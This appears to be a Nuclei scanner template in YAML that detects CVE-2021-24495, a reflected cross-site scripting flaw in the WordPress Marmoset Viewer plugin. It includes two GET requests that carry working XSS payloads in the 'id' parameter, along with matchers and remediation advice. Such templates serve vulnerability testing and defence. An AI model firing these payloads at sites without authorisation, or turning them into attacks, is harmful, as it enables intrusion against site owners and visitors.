52 lines
2.1 KiB
YAML
52 lines
2.1 KiB
YAML
id: CVE-2021-24495
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info:
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name: Wordpress Marmoset Viewer <1.9.3 - Cross-Site Scripting
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author: johnjhacking
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severity: medium
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description: WordPress Marmoset Viewer plugin before 1.9.3 contains a cross-site scripting vulnerability. It does not property sanitize, validate, or escape the 'id' parameter before outputting back in the page.
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remediation: |
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Update the Wordpress Marmoset Viewer plugin to version 1.9.3 or later to mitigate the vulnerability.
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reference:
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- https://johnjhacking.com/blog/cve-2021-24495-improper-neutralization-of-input-during-web-page-generation-on-id-parameter-in-wordpress-marmoset-viewer-plugin-versions-1.9.3-leads-to-reflected-cross-site-scripting/
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- https://wordpress.org/plugins/marmoset-viewer/#developers
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- https://wpscan.com/vulnerability/d11b79a3-f762-49ab-b7c8-3174624d7638
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- https://nvd.nist.gov/vuln/detail/CVE-2021-24495
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-24495
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cwe-id: CWE-79
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epss-score: 0.00116
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epss-percentile: 0.45225
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cpe: cpe:2.3:a:marmoset:marmoset_viewer:*:*:*:*:*:wordpress:*:*
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metadata:
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max-request: 2
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vendor: marmoset
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product: marmoset_viewer
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framework: wordpress
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tags: xss,wpscan,cve,cve2021,wp-plugin,wordpress,intrusive
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http:
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- method: GET
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path:
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- "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%27{{randstr}}%27)>"
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- "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/{{randstr}}/);marmoset.embed(%27a"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- </script><svg/onload=alert('{{randstr}}')>
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- alert(/{{randstr}}/)
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condition: or
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- type: word
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words:
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- Marmoset Viewer
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- type: status
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status:
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- 200
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# digest: 4a0a00473045022100fa93f78a41e9f1b31e216276f6ffc2dc817b143d4c64549392cbd7beb6c97f6b0220213d0455b9de5243464e1b59625863413425185e9a2f580bc68560b340bc033b:922c64590222798bb761d5b6d8e72950 |